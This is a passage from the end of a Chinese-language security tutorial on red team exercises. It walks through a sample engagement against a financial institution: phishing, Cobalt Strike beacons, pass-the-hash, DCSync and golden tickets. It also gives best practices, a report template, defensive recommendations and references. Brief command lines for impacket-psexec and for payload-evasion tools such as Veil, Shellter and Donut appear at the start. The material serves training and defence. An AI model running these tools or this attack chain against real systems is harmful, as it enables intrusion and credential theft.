Impacket $ impacket-psexec Administrator@target ``` **规避工具**: ```bash # Veil $ veil # Shellter $ shellter # Donut $ donut -f shellcode.bin # Syscall $ sc shellcode.bin ``` --- ## 红队演练实战案例 ### 案例背景 **目标**:某大型金融机构 **演练类型**:黑盒红队演练 **时间**:4 周 **目标**:获取核心数据库访问权限 ### 演练过程 #### 第 1 周:侦察与规划 ``` OSINT 收集: - 收集员工邮箱 500+ - 发现子域名 20+ - 识别技术栈:React、Node.js、MongoDB 威胁建模: - 关键资产:核心数据库、交易系统 - 威胁源:外部攻击者 - 攻击路径:钓鱼 → 内网 → 域控 → 数据库 规划: - 主要攻击向量:鱼叉钓鱼 - 备用攻击向量:Web 漏洞利用 - C2 基础设施:3 个域名、5 个 VPS ``` #### 第 2 周:初始访问 ``` 钓鱼攻击: - 发送鱼叉钓鱼邮件 50 封 - 打开率:35%(17 人) - 点击率:20%(10 人) - 凭证提交:8%(4 人) 获取初始访问: - 使用提交凭证登录 VPN - 获取内网访问权限 - 部署 C2 Beacon ``` #### 第 3 周:持久化与横向移动 ``` 持久化: - 安装 Cobalt Strike Beacon - 创建计划任务 - 建立 SOCKS 代理 横向移动: - 扫描内网主机 200+ - 发现服务器 30+ - 使用 PtH 控制 10 台服务器 - 获取域管凭证 ``` #### 第 4 周:目标达成 ``` 域渗透: - DCSync 获取 krbtgt 哈希 - 生成黄金票据 - 控制域控制器 目标达成: - 访问核心数据库 - 导出测试数据 - 模拟数据外传 清理: - 清除日志 - 删除后门 - 恢复系统 ``` ### 演练结果 | 指标 | 结果 | |------|------| | **初始访问时间** | 3 天 | | **域控获取时间** | 2 周 | | **目标达成时间** | 3 周 | | **检测次数** | 2 次(1 次误报) | | **响应时间** | 48 小时(首次检测) | | **遏制时间** | 未遏制 | ### 改进建议 ``` 1. 钓鱼防护 - 加强员工培训 - 部署邮件过滤 - 实施 MFA 2. 检测能力 - 优化 SIEM 规则 - 部署 EDR - 加强日志收集 3. 响应流程 - 完善应急预案 - 定期演练 - 建立沟通机制 4. 网络分段 - 办公网与服务器网隔离 - 关键系统单独分段 - 严格访问控制 ``` --- ## 红队演练最佳实践 ### 演练前准备 ``` ┌─────────────────────────────────────────────────────────────┐ │ 演练前准备清单 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ □ 获得书面授权 │ │ □ 明确演练范围 │ │ □ 制定交战规则(ROE) │ │ □ 确定紧急联系人 │ │ □ 准备回滚计划 │ │ □ 备份关键系统 │ │ □ 准备应急终止程序 │ │ □ 建立沟通渠道 │ │ │ └─────────────────────────────────────────────────────────────┘ ``` ### 演练中注意事项 ``` ┌─────────────────────────────────────────────────────────────┐ │ 演练中注意事项 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 安全原则: │ │ ├── 不破坏生产数据 │ │ ├── 不影响业务连续性 │ │ ├── 不安装真实恶意软件 │ │ └── 不使用破坏性攻击 │ │ │ │ 沟通原则: │ │ ├── 定期状态汇报 │ │ ├── 发现严重问题立即通报 │ │ ├── 遇到意外情况及时沟通 │ │ └── 保持通信畅通 │ │ │ │ 记录原则: │ │ ├── 详细记录所有操作 │ │ ├── 保存证据(截图、日志) │ │ ├── 记录时间节点 │ │ └── 记录检测结果 │ │ │ └─────────────────────────────────────────────────────────────┘ ``` ### 演练后报告 **报告结构**: ```markdown # 红队演练报告 ## 执行摘要 - 演练概述 - 关键发现 - 整体评估 - 风险评级 ## 演练范围 - 目标系统 - 攻击向量 - 时间窗口 ## 攻击时间线 - 初始访问 - 横向移动 - 目标达成 ## 技术发现 ### 发现 1 - 描述 - 影响 - 证据 - 建议 ## 检测响应评估 - 检测次数 - 响应时间 - 遏制效果 ## 改进建议 - 短期建议(1 月内) - 中期建议(3 月内) - 长期建议(6 月内) ## 附录 - 工具列表 - 技术细节 - 参考资源 ``` --- ## 总结与思考 ### 核心要点回顾 1. **红队演练是全面的安全评估**,超越传统渗透测试 2. **模拟真实攻击者**是红队的核心价值 3. **检测与响应测试**比漏洞发现更重要 4. **持续改进**是红队演练的最终目标 5. **合法合规**是所有活动的前提 ### 深入思考 **问题 1:红队演练的 ROI 如何衡量?** 我的观点: - 难以用金钱直接衡量 - 价值在于发现盲点 - 预防潜在损失 - 提升整体安全水位 **问题 2:红队与渗透测试如何选择?** 我建议: - 合规需求 → 渗透测试 - 检测能力评估 → 红队演练 - 预算有限 → 渗透测试 - 成熟安全团队 → 红队演练 **问题 3:红队演练的未来趋势?** 我预测: - 云环境红队增加 - 自动化程度提高 - 紫队协作常态化 - 持续红队模式 ### 实战建议 **给企业的建议**: ``` 1. 建立红队能力 - 内部红队或外部服务 - 定期演练(每年 1-2 次) - 持续改进 2. 加强蓝队建设 - 部署必要工具 - 培训人员 - 完善流程 3. 推动紫队协作 - 红蓝定期交流 - 联合演练 - 共同提升 4. 建立度量体系 - 检测时间(MTTD) - 响应时间(MTTR) - 遏制效果 ``` --- ## 参考资料 ### 学习资源 | 资源 | 类型 | 链接 | |------|------|------| | **MITRE ATT&CK** | 框架 | https://attack.mitre.org | | **Red Team Notes** | 笔记 | https://www.ired.team | | **SANS Red Team** | 培训 | https://sans.org | | **NIST SP 800-115** | 标准 | https://csrc.nist.gov | ### 工具资源 | 工具 | 官网 | 用途 | |------|------|------| | **Cobalt Strike** | https://cobaltstrike.com | C2 框架 | | **Empire** | GitHub | C2 框架 | | **Sliver** | GitHub | C2 框架 | | **BloodHound** | GitHub | 域分析 | | **CrackMapExec** | GitHub | 内网扫描 | ### 书籍推荐 | 书名 | 作者 | 难度 | |------|------|------| | 《Red Team Development and Operations》 | Joe Vest | 进阶 | | 《Advanced Penetration Testing》 | Wil Allsopp | 高级 | | 《The Red Team Field Manual》 | Ben Clark | 参考 | | 《Red Teamers Handbook》 | various | 实战 | --- *365 天信息安全技术系列 | Day 219 | 红队演练技术详解 | 字数:约 24,000 字*
myh0st
2026年4月13日 23:20
分享文档
收藏文档
上一篇
下一篇
微信扫一扫
复制链接
手机扫一扫进行分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码